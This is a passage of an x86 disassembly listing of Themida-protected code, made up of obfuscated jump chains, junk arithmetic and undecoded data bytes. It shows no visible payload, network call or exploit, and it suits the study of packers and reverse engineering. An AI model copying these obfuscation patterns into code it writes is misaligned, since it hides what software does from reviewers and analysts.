loc_553236: ; CODE XREF: Themida_:00554977j
add ebx, 1
jmp loc_54420A
; ---------------------------------------------------------------------------
db 2Dh, 76h, 69h
dd 0F02942F8h, 302FE951h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55324E: ; CODE XREF: Themida_:005505F9j
push edx
jmp loc_545CE9
; ---------------------------------------------------------------------------
loc_553254: ; CODE XREF: Themida_:0054D4CFj
pop eax
sub esp, 4
mov [esp], ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
xchg ecx, [esp]
pop esp
mov [esp], eax
mov eax, 1A6649F6h
dec eax
dec eax
shr eax, 5
add eax, 3E18430Eh
add edx, eax
pop eax
jmp loc_5515CC
; ---------------------------------------------------------------------------
dd 4C281h, 0F2E90000h, 0FFFFFF37h, 26E92434h, 5200001Eh
dd 0AF7BC7BAh, 0CF2BE908h, 1CF6FFFFh, 61E99C24h
db 0F4h, 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_5532AB: ; CODE XREF: Themida_:00546485j
xchg esi, [esp]
pop esp
mov ebp, [esp]
add esp, 4
sub esp, 4
mov [esp], esi
push ebx
mov ebx, 3FD74E52h
jmp loc_54C3F7
; ---------------------------------------------------------------------------
loc_5532C9: ; CODE XREF: Themida_:00555052j
mov ebp, [esp]
push ecx
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
jmp loc_547196
; ---------------------------------------------------------------------------
loc_5532DF: ; CODE XREF: Themida_:00544622j
mov edx, 2B73301Ah
push esi
jmp loc_5562FA
; ---------------------------------------------------------------------------
loc_5532EA: ; CODE XREF: Themida_:0055083Bj
push 6323h
mov [esp], edx
jmp loc_55344D
; ---------------------------------------------------------------------------
db 81h
dd 4ECh, 24048900h, 4055854h, 83000000h, 0DFE904C0h
db 10h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55330F: ; CODE XREF: Themida_:00549BF1j
pop eax
mov [edi+eax*4], cl
mov ecx, [esp]
push edi
mov edi, esp
add edi, 4
add edi, 4
jmp loc_54877E
; ---------------------------------------------------------------------------
db 89h
dd 405E0h, 4050000h, 0E9000000h, 0FFFFDF41h, 0E904EC83h
dd 3C12h, 0E2E95A54h, 1FFFF01h, 0D9015AD1h, 47D0E981h
dd 0BE567396h, 2FF76857h, 8DE9D6F7h
db 8Dh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55335F: ; CODE XREF: Themida_:0055190Fj
mov eax, [esp]
add esp, 4
jmp loc_552DCA
; ---------------------------------------------------------------------------
dw 0EFC1h
dd 6A61E905h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_553372: ; CODE XREF: Themida_:005456D9j
mov [esp], ecx
mov ecx, esp
add ecx, 4
jmp loc_545130
; ---------------------------------------------------------------------------
loc_553382: ; CODE XREF: Themida_:0054F2F2j
push edi
push 90780227h
mov edi, [esp]
add esp, 4
add ecx, edi
pop edi
push esi
mov esi, 634C2311h
jmp loc_550A46
; ---------------------------------------------------------------------------
dd 31242C33h, 874D242Ch, 0C158242Ch, 162D03E8h, 2D027E65h
dd 0AA1EB52h, 1F99BF57h, 0E7810844h, 4AE079E1h, 5EF0C781h
dd 27E907CBh, 81FFFF28h, 23748EDh, 2434FF1Bh, 0E3895358h
dd 4C381h, 0C3830000h, 241C8704h, 242C335Ch, 33242C31h
dd 665C242Ch, 9C2404D3h, 0FEF313E9h, 7EFD2DFFh, 9EE937DAh
db 50h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_553403: ; CODE XREF: Themida_:0054530Cj
xchg ecx, [esp]
jmp loc_54E837
; ---------------------------------------------------------------------------
loc_55340B: ; CODE XREF: Themida_:00548EEAj
mov [esp], esp
add dword ptr [esp], 4
jmp loc_5440C1
; ---------------------------------------------------------------------------
db 5Dh
dd 0E924048Bh, 0FFFF64B8h
; ---------------------------------------------------------------------------
loc_553420: ; CODE XREF: Themida_:005535DEj
mov [esp], ebx
jmp loc_556098
; ---------------------------------------------------------------------------
loc_553428: ; CODE XREF: Themida_:005440BCj
add esp, 4
xor esi, 4B98728Ch
sub esi, 0FFFFFFFFh
jmp loc_551EE7
; ---------------------------------------------------------------------------
loc_55343C: ; CODE XREF: Themida_:0054CA5Aj
push ebp
push esp
jmp loc_5434B5
; ---------------------------------------------------------------------------
db 2Dh
dd 4, 0FF8493E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55344D: ; CODE XREF: Themida_:005532F2j
push ecx
push 70661CDEh
pop ecx
push eax
mov eax, 8F99E326h
jmp loc_555883
; ---------------------------------------------------------------------------
db 41h
dd 0FFDE72E9h, 0CEBF57FFh, 0E9019533h, 1531h
; ---------------------------------------------------------------------------
loc_553470: ; CODE XREF: Themida_:0054FC80j
dec edx
and edx, 66046A06h
dec edx
not edx
sub edx, 99003C6Fh
sub ebp, edx
pop edx
pop eax
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
jmp loc_5535CA
; ---------------------------------------------------------------------------
dw 6850h
dd 7764039Eh, 0E1BB5358h, 8143EA24h, 0B77587F3h, 0F8D5E975h
dd 0EC81FFFFh, 4, 56243C89h, 0FFE84DE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5534B9: ; CODE XREF: Themida_:0054AA62j
push dword ptr [esp+4]
pop edx
jmp loc_547377
; ---------------------------------------------------------------------------
loc_5534C3: ; CODE XREF: Themida_:0054A8D0j
push 2F71h
mov [esp], edi
sub esp, 4
jmp loc_5489F5
; ---------------------------------------------------------------------------
dw 1487h
dd 24895C24h, 6AFB6824h, 2C890000h, 4BD24h, 6C010000h
dd 0FF5D0424h, 1C8B2434h, 4C48124h, 81000000h, 4C4h, 4C38100h
dd 0E9000000h, 0FFFFFCDDh, 0CFE9C688h, 5CFFFF50h, 0FFBAA6E9h
dd 7BC8BBFFh, 8E93887h, 8300001Ah, 0E9042404h, 0FFFFB355h
dd 2414F756h, 0FFED1BE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_553535: ; CODE XREF: Themida_:00545C96j
xor edx, [esp]
jmp loc_54B447
; ---------------------------------------------------------------------------
loc_55353D: ; CODE XREF: Themida_:00552F54j
add ebp, 4
xchg ebp, [esp]
pop esp
add esi, 204535F1h
shl esi, 7
inc esi
sub esi, 0A25AE77Dh
add ebx, esi
jmp loc_544C41
; ---------------------------------------------------------------------------
loc_55355E: ; CODE XREF: Themida_:005530F6j
mov ebp, esp
push esi
mov esi, esp
add esi, 4
sub esi, 4
xchg esi, [esp]
pop esp
mov [esp], edi
jmp loc_54C939
; ---------------------------------------------------------------------------
db 81h
dd 0D01F8F3h, 0FC8AE96Fh, 55ACFFFEh, 1D71E9h, 0E9D6F700h
dd 1A17h, 0D63E54B8h, 5AD001B5h, 92BDBF57h, 0F801D299h
dd 0E9243C8Bh, 0FFFFD456h, 0C466F2Dh, 0E9E8D148h, 0FFFF45FEh
dd 0E904EC83h, 0FFFFE594h, 0C780CF28h, 25E97Fh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5535CA: ; CODE XREF: Themida_:0055348Dj
mov esp, [esp]
jmp loc_545D63
; ---------------------------------------------------------------------------
loc_5535D2: ; CODE XREF: Themida_:00550E6Cj
sub ecx, 0A8EAF090h
add ebp, ecx
pop ecx
sub esp, 4
jmp loc_553420
; ---------------------------------------------------------------------------
loc_5535E3: ; CODE XREF: Themida_:005464E1j
push esi
push esp
jmp loc_550BA5
; ---------------------------------------------------------------------------
dw 8B66h
dd 0EC83240Ch, 24348904h, 0EC815E54h, 4, 0BB241C89h, 4
dd 835BDE01h, 343304EEh, 24343124h, 5C243433h, 83243C89h
dd 248904ECh, 583B6824h, 4890000h, 4B824h, 9EE90000h, 59FFFF91h
dd 0FFD857E9h, 0BCF581FFh, 553CFD79h, 4930E95Eh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_553642: ; CODE XREF: Themida_:00551AADj
and ecx, edi
push dword ptr [esp]
pop edi
push ebp
mov ebp, esp
push 193h
mov [esp], edx
mov edx, 4
sub ebp, 3A27458h
jmp loc_553B75
; ---------------------------------------------------------------------------
db 50h
dd 0C200DDB0h, 5AD50058h, 0ED80DDF6h, 0A98E951h, 0E9580000h
dd 0FFFFE8D8h
; ---------------------------------------------------------------------------
loc_55367C: ; CODE XREF: Themida_:00546706j
xor edi, 7FBF3FFBh
add ebx, edi
jmp loc_545510
; ---------------------------------------------------------------------------
db 87h, 14h, 24h
dd 0FE49E95Ch, 0DEF7FFFEh, 5879E681h, 0E94E4391h, 158Eh
dd 0E9241489h, 0FFFF234Bh, 241CF766h, 0F05AE99Ch
db 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_5536B2: ; CODE XREF: Themida_:00542B55j
xchg edi, [esp]
jmp loc_54559D
; ---------------------------------------------------------------------------
dw 8A68h
dd 0E96E4C17h, 0FFFFE875h
; ---------------------------------------------------------------------------
loc_5536C4: ; CODE XREF: Themida_:00547176j
add edi, ebp
sub edi, 2BBA2156h
pop ebp
push ebx
push ebp
mov ebp, 34A32125h
jmp loc_54CFFE
; ---------------------------------------------------------------------------
db 89h, 0D6h, 8Bh
dd 0C4832414h, 90CE8104h, 3159B62Bh, 7E23E9D6h, 0D089FFFFh
dd 58C1215Ah, 0F0F4C181h, 0BD550924h, 2A2864EDh, 295DE829h
dd 0B65EE9C8h, 815BFFFFh, 4ECh, 0E46BE900h, 0E581FFFFh
dd 70DD148Bh, 2D55ED81h, 0F581383Fh, 7CFBD60h, 2C8BEB01h
dd 4C48124h, 0E9000000h, 0FFFF9F69h
; ---------------------------------------------------------------------------
loc_553738: ; CODE XREF: Themida_:0054506Ej
sub ebx, 1B45BA5h
shl ebx, 5
inc ebx
push edi
push esp
pop edi
add edi, 4
sub edi, 4
jmp loc_555A31
; ---------------------------------------------------------------------------
dw 5052h
dd 0FFAEBAE9h, 0B8BE56FFh, 1B6D11Fh, 0D0095EF2h, 0F971E95Ah
dd 0E089FFFFh, 0FFA389E9h, 0E98741FFh, 0E931D5F7h, 0E931CD31h
dd 0FF4BA9E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_553785: ; CODE XREF: Themida_:0055790Bj
mov esi, 0
sub esi, 59B24634h
sub esi, ebx
add esi, 59B24634h
push 9FFh
mov [esp], esi
add dword ptr [esp], 3E56375Ch
mov ebx, [esp]
add esp, 4
sub ebx, 3E56375Ch
push dword ptr [esp]
pop esi
push esi
push esp
pop esi
jmp loc_546332
; ---------------------------------------------------------------------------
loc_5537BF: ; CODE XREF: Themida_:00556E92j
pop ebp
pop eax
jmp loc_54A435
; ---------------------------------------------------------------------------
dw 0FB01h
dd 241C335Fh, 33241C31h, 0E95C241Ch, 2387h, 2D1BB850h
dd 44012C9Dh, 0C9E90824h, 81FFFF63h, 0EC3A09EBh, 81D3015Ah
dd 0EC3A09C3h, 0E28CE95Ah
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5537FA: ; CODE XREF: Themida_:00543DF7j
push dword ptr [esp]
jmp loc_5470E6
; ---------------------------------------------------------------------------
loc_553802: ; CODE XREF: Themida_:00545329j
pop esi
neg eax
push ebp
push esi
mov esi, 42C64077h
jmp loc_54C8FB
; ---------------------------------------------------------------------------
db 57h, 0E9h, 8Dh
dd 81FFFF0Fh, 575DE9C7h, 31D2E904h, 0E9430000h, 0FFFF3671h
dd 5C240487h, 24148966h, 1B25251h, 8701E950h, 0BD55FFFFh
dd 23424F28h, 843BE950h, 148BFFFFh, 4C48324h, 1C8BDA01h
dd 0E6895624h, 4C681h, 0C6830000h, 0ADDBE904h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_553862: ; CODE XREF: Themida_:0054E83Aj
sub esp, 4
mov [esp], eax
push 2D9Ah
jmp loc_54395B
; ---------------------------------------------------------------------------
db 89h, 2Ch, 24h
dd 9BFBB53h, 41E91CCFh, 0FFFFFFBFh, 875F2404h, 81D6F7FEh
dd 4ECh, 22E6E900h, 0F2810000h, 0BF0713AFh, 495AD121h
dd 812C981h, 0E9564C8Dh, 0FFFF9D11h
; ---------------------------------------------------------------------------
loc_5538AC: ; CODE XREF: Themida_:0054F7AAj
pop edi
add esi, 4471454Dh
sub esi, 5D173AF0h
add esi, edi
jmp loc_550E02
; ---------------------------------------------------------------------------
dd 0FD281FB7h, 3AF7E95Bh, 48BFFFFh, 0E3895324h, 4C381h
dd 0C3830000h, 241C8704h, 0D7F7665Ch, 0BE665666h, 29664769h
dd 665E66F7h, 5931CF81h, 5EFC166h, 45B86650h, 0E8C1664Dh
dd 7225E902h, 77FFFFFFh, 58669D1Ch, 24041966h, 0EDFAE99Ch
dd 0E95BFFFEh, 0FFFEFBDEh
; ---------------------------------------------------------------------------
loc_553918: ; CODE XREF: Themida_:005544A5j
sub eax, 4
jmp loc_55138C
; ---------------------------------------------------------------------------
dw 0C480h
dd 14C1E914h, 489FFFFh, 3A70E924h, 8951FFFFh, 4C181E1h
dd 81000000h, 4E9h, 240C8700h, 241C895Ch, 5A09E8BBh, 0E9DE015Ah
dd 0FFFF1017h
; ---------------------------------------------------------------------------
loc_553954: ; CODE XREF: Themida_:00553DDEj
mov esi, 421A7AF5h
mov edx, esi
pop esi
mov ebp, edx
pop edx
jmp loc_543183
; ---------------------------------------------------------------------------
dd 15DEF89h, 6EE95EF7h, 5000005h, 46542FA0h, 0A02DF801h
dd 5F46542Fh, 0E904E883h, 0FFFFA06Ah
; ---------------------------------------------------------------------------
loc_553984: ; CODE XREF: Themida_:00555781j
push edx
push eax
mov al, 13h
jmp loc_5489D5
; ---------------------------------------------------------------------------
loc_55398D: ; CODE XREF: Themida_:005440C7j
add eax, 4
xchg eax, [esp]
pop esp
pop dword ptr [esp]
mov esp, [esp]
jmp loc_550CB7
; ---------------------------------------------------------------------------
db 0BBh, 44h, 1Ah
dd 0C3814A1Ah, 0E96A6467h, 575BDA29h, 0FFBFD9E9h, 181105FFh
dd 595E20E2h, 1B1659BBh, 0FEEB8162h, 294BA436h, 1191E9C3h
dd 0DBF0000h, 81246568h, 0C5533FF7h, 687FE903h, 515AFFFFh
dd 0B1A9B353h, 0E9D928E3h, 0FFFF8384h
; ---------------------------------------------------------------------------
loc_5539EC: ; CODE XREF: Themida_:00552E99j
pop ebx
push ebx
mov ebx, 47781451h
and ebx, 2CC74CDFh
add ebx, 7DC362C4h
jmp loc_547D3F
; ---------------------------------------------------------------------------
aPss db 'Pé™"',0
align 2
dw 0C889h
dd 2E8C159h, 3597E957h, 248BFFFFh, 2434FF24h, 582434FFh
dd 0FEF8B7E9h, 5FF929FFh, 8904EC83h, 15BE2434h, 817BAE5Ch
dd 0D954BFEEh, 2C52E91Ch
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_553A3E: ; CODE XREF: Themida_:005559ABj
pop si
push edx
jmp loc_553D2F
; ---------------------------------------------------------------------------
loc_553A46: ; CODE XREF: Themida_:005560ADj
xor edx, [esp]
jmp loc_546A53
; ---------------------------------------------------------------------------
loc_553A4E: ; CODE XREF: Themida_:005428A8j
add edx, 0AA1AB16Dh
jmp loc_543BBA
; ---------------------------------------------------------------------------
loc_553A59: ; CODE XREF: Themida_:0054C2D7j
add esp, 4
add edx, 4
jmp loc_54E419
; ---------------------------------------------------------------------------
dd 0C581F529h, 5D2C13F6h, 50FD015Eh, 7E1D2968h, 0C5015871h
dd 0FFB3ACE9h, 0D8BA52FFh, 89E5A5C7h, 0D3015AD3h, 5624148Bh
dd 0FF4160E9h, 42DFFh, 0FF500000h, 8B042474h, 54532404h
dd 4C3815Bh, 83000000h, 0E95304C3h, 337Fh
; ---------------------------------------------------------------------------
loc_553AB0: ; CODE XREF: Themida_:00552862j
mov ecx, 2
add ebp, 773306B8h
add ebp, ecx
sub ebp, 773306B8h
push dword ptr [esp]
pop ecx
jmp loc_54F95E
; ---------------------------------------------------------------------------
dd 0E4C01BB4h, 80D4F607h, 0E53066C4h, 0A0ED8058h, 88E88850h
dd 0E95958C6h, 0FFFFEE6Dh, 0D550F2BDh, 0E172E93Dh, 0C181FFFFh
dd 4, 1E9168h, 242C8900h, 4BDh, 8BE92900h, 0C483242Ch
dd 5199E904h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_553B12: ; CODE XREF: Themida_:005490DEj
mov ecx, edx
pop edx
add ebx, ecx
pop ecx
push edx
mov edx, 1B2F2365h
sub edx, 30B36068h
add edx, 2E351CA5h
jmp loc_5552A4
; ---------------------------------------------------------------------------
db 43h
dd 77C8C381h, 0D1E98B99h, 53FFFF82h, 5B5AAFBBh, 8BBA523Fh
dd 8167B477h, 226604EAh, 63F2812Eh, 2961191Dh, 0E3815AD3h
dd 79F01B2h, 814BD3F7h, 9001B0C3h, 51FB0106h, 74A868h
dd 24348900h, 0FF65CBE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_553B75: ; CODE XREF: Themida_:0055365Ej
add ebp, edx
jmp loc_543F94
; ---------------------------------------------------------------------------
dd 6442E953h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_553B82: ; CODE XREF: Themida_:00543247j
mov esp, [esp]
mov [esp], ebx
push 29B77D27h
pop ebx
jmp loc_55702A
; ---------------------------------------------------------------------------
loc_553B93: ; CODE XREF: Themida_:00544966j
add ecx, 3E191930h
jmp loc_5452F5
; ---------------------------------------------------------------------------
loc_553B9E: ; CODE XREF: Themida_:00551232j
pop esp
mov [esp], esi
mov esi, esp
push ecx
mov ecx, 261F5BEAh
add ecx, 1
not ecx
inc ecx
add ecx, 1
push ebx
mov ebx, 37C2059Ah
shl ebx, 1
or ebx, 73880F99h
neg ebx
not ebx
push ecx
mov ecx, 78A721C2h
jmp loc_54AB4D
; ---------------------------------------------------------------------------
dd 248CC381h, 30E9575Ch, 89FFFF9Fh, 0D8FFE9E2h, 0DE01FFFFh
dd 0F62EE957h, 0D6F7FFFFh, 0FF9753E9h, 2CE134FFh, 5189040Ah
dd 0E9537DB5h, 0FFFFFCC0h, 0C00309BDh, 74BFE901h, 0B850FFFFh
dd 4, 2E9C301h, 5CFFFF6Fh, 54241C89h, 4BA525Bh, 1000000h
dd 0C3815AD3h, 4, 31241C33h, 1C33241Ch, 4015C24h, 0CDE99C24h
dd 89FFFEEAh, 0F7295BDEh, 35EF815Eh, 8165DB7Ah, 0FF5A45C7h
dd 0E9C7011Ch, 0FFFF18D4h, 8E28EA81h, 0D1290EB8h, 0FDA4E95Ah
dd 4BDFFFFh, 0E9000000h, 3577h, 677EC381h, 0C30120B7h
dd 0FFB2DBE9h, 2434FFFFh, 7E68525Ah, 89000067h, 0EC812434h
dd 4, 0E9242489h, 0FFFF8A6Eh
; ---------------------------------------------------------------------------
loc_553C98: ; CODE XREF: Themida_:0054E9A2j
pop ebp
add esp, 4
jmp loc_54C26C
; ---------------------------------------------------------------------------
db 0B7h, 47h, 0FEh
dd 8C6FE9CFh, 8CBBFFFFh, 0E9046922h, 14Bh
; ---------------------------------------------------------------------------
loc_553CB4: ; CODE XREF: Themida_:00550947j
pop edx
add esp, 4
push ebp
mov ebp, 4
add edx, ebp
pop ebp
sub esp, 4
mov [esp], ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], ecx
mov ecx, 2
add edx, 34D308D5h
sub edx, ecx
sub edx, 34D308D5h
mov ecx, [esp]
push 5004h
mov [esp], edx
mov edx, esp
sub esp, 4
mov [esp], ebx
mov ebx, 4
add edx, ebx
jmp loc_54C463
; ---------------------------------------------------------------------------
loc_553D0E: ; CODE XREF: Themida_:00549289j
pop eax
pop edx
mov ch, bl
pop ebx
pop eax
not ch
push ax
mov ah, 5Ch
xor ch, ah
pop ax
push 609h
mov [esp], edx
mov dl, 18h
xor ch, dl
jmp loc_549FDA
; ---------------------------------------------------------------------------
loc_553D2F: ; CODE XREF: Themida_:00553A41j
mov dx, 372Bh
sub dx, 470h
add si, dx
jmp loc_546FDE
; ---------------------------------------------------------------------------
dd 4C281h, 14870000h, 48F5C24h, 0D3665C24h, 0E99C242Ch
dd 0FFFEE9B4h, 2414875Dh, 0C8AF0F5Ch, 0A5E99C51h, 5BFFFEE9h
dd 8104E3C1h, 0E8065FC3h, 5C3811Dh, 15F5F9Dh, 0BB535BDEh
dd 5E9A06D4h, 8303EBC1h, 5557FFC3h, 0F123A2BDh, 4AC58137h
dd 8143F413h, 0E537DFC5h, 3534E94Ch, 0C581FFFFh, 4, 4E2268h
dd 241C8900h, 8904EC83h, 91BA2414h, 0BB1F8755h, 0E078AA73h
dd 3FB1C381h, 0EB81245Ch, 0C2360BBh, 4770BE56h, 4EE961ABh
dd 66FFFFB6h, 0E924048Bh, 0FFFF63F0h
; ---------------------------------------------------------------------------
loc_553DDC: ; CODE XREF: Themida_:0054C0E7j
push edx
push esi
jmp loc_553954
; ---------------------------------------------------------------------------
db 5Eh
dd 4C681h, 0EE810000h, 4, 31243433h, 34332434h, 0CDE95C24h
dd 0F7FFFF40h, 0E5BE56DBh, 815D9052h, 2B92AFF6h, 5EF329B0h
dd 1C8BD989h, 4C48124h, 9000000h, 240C8BCBh, 0E9E28952h
dd 0FFFFF45Ch, 2404895Ch, 4116852h, 575A6C8Dh, 66FBE950h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_553E3A: ; CODE XREF: Themida_:005462EBj
mov esi, esp
push ebp
jmp loc_54D73D
; ---------------------------------------------------------------------------
loc_553E42: ; CODE XREF: Themida_:00543A80j
add edi, esi
push eax
jmp loc_54B749
; ---------------------------------------------------------------------------
dw 0E6C1h
dd 7E6C106h, 0FF1463E9h, 0FBF681FFh, 5579533Eh, 0FBE9F589h
db 12h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_553E63: ; CODE XREF: Themida_:0054B7E5j
xor ecx, [esp]
mov esp, [esp]
push dword ptr [esp]
push dword ptr [esp]
pop ecx
push eax
jmp loc_55196D
; ---------------------------------------------------------------------------
dw 1C89h
dd 565B5424h, 5A652BBEh, 1C6815Dh, 0E9000000h, 0FFFFE02Ah
dd 8104C483h, 23748C5h, 0E9C5011Bh, 0FFFFF52Fh
; ---------------------------------------------------------------------------
loc_553E9C: ; CODE XREF: Themida_:00549B80j
sub ebx, 43DD1BD6h
add ebx, 3C3B6246h
jmp loc_54A2AF
; ---------------------------------------------------------------------------
db 31h, 0F0h, 31h
dd 243431C6h, 31243433h, 34FF2434h, 2434FF24h, 4C4835Eh
dd 0E9E28952h, 0FFFFB024h
; ---------------------------------------------------------------------------
loc_553ECC: ; CODE XREF: Themida_:0054F989j
pop ecx
pop edx
jmp loc_54CCE0
; ---------------------------------------------------------------------------
db 29h
dd 575B5EF5h, 0FF950BE9h, 0E9FB29FFh, 3BE5h, 5E2434FFh
dd 4EC81h, 4890000h, 62A8E924h, 0D931FFFFh, 0CD89555Bh
dd 8B5DEB89h, 0EC83240Ch, 24048904h, 405E089h, 0E9000000h
dd 0FFFF8BABh, 0CDC8EA81h, 0D3010D87h, 1C5F095Ah, 0FF5ADDE9h
dd 0ED8145FFh, 0A7580D1Bh, 875DEB89h, 0F7FA87D3h, 5BD0E9D7h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_553F3A: ; CODE XREF: Themida_:00556137j
pop dword ptr [esp]
jmp loc_544E25
; ---------------------------------------------------------------------------
loc_553F42: ; CODE XREF: Themida_:00555AA3j
mov esi, 124A42E5h
and esi, 1DE125C8h
push ecx
jmp loc_54F2CE
; ---------------------------------------------------------------------------
db 66h
dd 0E9240C8Bh, 1570h
; ---------------------------------------------------------------------------
loc_553F5C: ; CODE XREF: Themida_:0054E28Bj
mov edi, [esp]
add esp, 4
push ebp
mov ebp, 41543CC5h
not ebp
jmp loc_551574
; ---------------------------------------------------------------------------
loc_553F72: ; CODE XREF: Themida_:0055753Ej
add esp, 4
pop edi
add eax, ebx
push dword ptr [eax]
jmp loc_549127
; ---------------------------------------------------------------------------
db 81h
dd 7EB1242Ch, 505A28E9h, 0FFBAFFE9h, 243487FFh, 6824248Bh
dd 1235h, 13DAE9h, 242C8B00h, 4C481h, 4870000h, 24248B24h
dd 0FF2434FFh, 0E9592434h, 0FFFFA498h, 4EC8153h, 54000000h
dd 8124048Fh, 42404h, 815B0000h, 4C3h, 4EC8300h, 50240C89h
dd 4B951h, 81510000h, 6C342404h, 2D5873A1h, 73A16C34h
dd 81240C8Bh, 4C4h, 0C2895200h, 585AD189h, 5F74C381h, 0EB810E6Fh
dd 0E827521h, 0C381CB01h, 0E827521h, 5F74EB81h, 34FF0E6Fh
dd 50E95924h
db 5Fh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55401F: ; CODE XREF: Themida_:00557975j
xor ecx, 3414540Fh
xor ecx, 46BA7C26h
xor eax, ecx
pop ecx
push 6ACBh
jmp loc_54AB10
; ---------------------------------------------------------------------------
dd 0F704C483h, 0E95046D6h, 1202h, 785A68h, 240C8900h, 3390E9h
dd 2434FF00h
db 58h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push esi
push eax
push 2D0E60FCh
pop eax
not eax
dec eax
sub eax, 927F4DB4h
mov esi, eax
pop eax
jmp loc_5543C2
; ---------------------------------------------------------------------------
dd 8B24048Fh, 4D32424h, 8DE99C24h, 4AFFFEE6h, 0B7A0EA81h
dd 0D629D91Ah, 5A2434FFh, 4C481h, 0F1010000h, 0E911885Eh
dd 0FFFF2F8Bh
; ---------------------------------------------------------------------------
loc_55409C: ; CODE XREF: Themida_:0054C034j
add ecx, eax
pop eax
push esi
mov esi, 4
add ecx, esi
pop esi
xchg ecx, [esp]
pop esp
and eax, esi
push dword ptr [esp]
pop esi
add esp, 4
or eax, eax
jz loc_54F0ED
push dword ptr [edi+28h]
jmp loc_547D56
; ---------------------------------------------------------------------------
db 8Bh, 4, 24h
dd 6804C483h, 7991h, 0E9243489h, 0FFFEEDC4h
; ---------------------------------------------------------------------------
loc_5540D8: ; CODE XREF: Themida_:00544216j
add esp, 4
xor eax, ebp
jmp loc_5520F8
; ---------------------------------------------------------------------------
dw 0C481h
dd 4, 0FF771EE9h, 0C0D4B7FFh, 0BE908E7h, 8BFFFEE8h, 0C4812404h
dd 4, 0E924048Fh, 0FFFFEE3Bh
; ---------------------------------------------------------------------------
loc_554108: ; CODE XREF: Themida_:0055238Cj
pop ebx
jmp loc_54E015
; ---------------------------------------------------------------------------
dw 0B753h
dd 80CFFE6Fh, 0CF80DBE7h, 0C7F7806Bh, 0F780C7FEh, 0E9F8008Bh
dd 0FFFF9428h, 0E924248Bh, 0B6h, 51241C8Bh, 0FFADB0E9h
dd 4BB53FFh, 50000000h, 0C276E068h, 0E5E2E941h, 0BDE9FFFFh
db 0E5h, 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_55414F: ; CODE XREF: Themida_:00548527j
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
pop esp
jmp loc_554CD5
; ---------------------------------------------------------------------------
dw 0C768h
dd 6800007Dh, 41B0h, 4EC81h, 8F540000h, 0FAE92404h, 89FFFEE5h
dd 0E2892414h, 4C281h, 0B9E90000h
db 0FBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_554187: ; CODE XREF: Themida_:00557873j
add ecx, 4
add ecx, 4
push ecx
jmp loc_544655
; ---------------------------------------------------------------------------
loc_554196: ; CODE XREF: Themida_:00549B1Bj
sub ebx, 30097D52h
pop eax
and ebx, 349A7A9Fh
shl ebx, 4
shl ebx, 3
jmp loc_54F368
; ---------------------------------------------------------------------------
dw 0EA81h
dd 1C5833B5h, 0FF4E70E9h, 0B0E958FFh, 0C1FFFEFDh, 0CF8106EFh
dd 7DC77950h, 15E9EFD1h, 81FFFF30h, 80627F3h, 0DE895632h
dd 8B5EF189h, 0C483241Ch, 0EAF7E904h, 431FFFEh, 1DE99C24h
dd 0BDFFFEE5h, 23EB5443h, 1ED81h, 0C5810000h, 4002F83Dh
dd 0BC2F9C05h, 15EBE905h, 0A4BEFFFFh, 81C55EB1h, 5B2F5AC7h
dd 0E9F70170h, 18A1h, 0DF5EF281h, 0BD55D452h, 0E7108B1h
dd 815DEF01h, 0A5379FEFh, 81D70102h, 0A5379FC7h, 0B1EF8102h
dd 5A0E7108h, 5C243C87h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
jmp loc_551E52
; ---------------------------------------------------------------------------
dw 0FF52h
dd 5A042474h, 5C24048Fh, 240CD366h, 0E4A6E99Ch, 815AFFFEh
dd 0B56710C7h, 31C7810Eh, 812FCB39h, 0E82B87EFh, 39FFE913h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55427E: ; CODE XREF: Themida_:0054D4F6j
mov ebp, [esp]
add esp, 4
push ecx
mov ecx, 4
jmp loc_54F8D2
; ---------------------------------------------------------------------------
dw 565Fh
dd 42474FFh, 24048F5Eh, 0FFF775E9h, 4EC83FFh, 88240C89h
dd 59EB88C5h, 4EC81h, 4890000h, 0DE885224h, 0DCE9F088h
dd 83FFFF3Ah, 685104C4h, 40CAh, 0E9242489h, 0FFFF4904h
dd 5D88FEBDh, 8BE931E3h, 0C481242Ch, 4, 44E9CF29h, 89FFFF89h
dd 1DE92404h, 68FFFEE4h, 3CE1h, 8B240C89h, 0EC812404h
dd 4, 89241C89h, 2BB951E3h, 810AD844h, 964F82E1h, 0FE18168h
dd 0C1123A63h, 0B4E906E1h, 59FFFFD0h, 875AD101h, 2E9240Ch
dd 8BFFFEE4h, 0C4832404h, 66D03004h, 0E9C3305Ah, 0FFFFB224h
dd 2F44BE56h, 0F6814EF4h, 19794E0Fh, 57F0C681h, 0EDE97049h
dd 0C0FFFF44h, 0C7FE06EFh, 3EFC68h, 24048900h, 63E959B4h
db 0Ah, 2 dup(0FFh)
; ---------------------------------------------------------------------------
